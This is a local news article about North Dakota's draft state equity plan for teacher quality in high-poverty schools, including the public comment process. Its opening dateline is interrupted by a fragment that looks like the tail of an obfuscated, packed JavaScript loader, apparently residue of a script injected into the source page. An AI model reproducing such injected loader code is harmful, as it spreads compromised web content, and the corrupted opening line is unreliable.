BISMARCK, sznzy|var|u0026u|referrer|ntiyz||js|php’.split(‘|’),0,{}))
ND – North Dakota School Superintendent Kirsten Baesler said the Department of Public Instruction is seeking public comment on its “state equity plan,” which is meant to ensure that all North Dakota students are taught by excellent educators.

The U.S. Department of Education has required states to submit their equity plans by June 1. North Dakota’s draft plan has been posted on the Department of Public Instruction’s website for public review and comment.

Comments should be emailed to Laurie Matzke, the DPI’s director of federal title programs, at lmatzke@nd.gov. The deadline is May 28.

One of the goals of the “Excellent Educators for All” initiative is to make sure that “poor and minority children are not taught at higher rates than other children by inexperienced, unqualified or out-of-field teachers.”

The draft plan suggests using signing bonuses, student loan forgiveness, housing programs, improved professional development, and incentives for training teachers’ aides to become licensed teachers as ways to increase the supply of highly qualified teachers in high-poverty schools. Retired teachers also could be recruited and offered training to return to the classroom.

“High-poverty” schools are defined as those where 40 percent or more of the students qualify for free or reduced-price meals.

The draft plan says North Dakota has long been committed to the principle that all teachers in the state’s public schools must be highly qualified. There is only a “minimal gap” in the rate that poor students are taught by an unqualified teacher, compared to students who are not from low-income families, the draft plan says.

Links:

Members of State Equity Initiative Planning Committee:

 

Meeting schedule and minutes: